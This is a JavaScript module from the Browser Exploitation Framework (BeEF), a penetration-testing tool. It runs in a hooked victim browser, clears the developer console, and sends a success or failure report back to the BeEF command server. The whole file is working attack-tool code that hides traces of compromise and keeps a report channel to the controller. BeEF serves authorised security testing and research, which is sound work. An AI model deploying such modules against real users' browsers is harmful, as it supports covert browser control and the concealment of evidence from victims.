Files
beef/modules/browser/hooked_domain/clear_console/command.js
2016-01-31 20:29:45 +00:00

16 lines
485 B
JavaScript

//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
try {
beef.debug("Clearing console...");
console.clear();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console");
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console");
}
});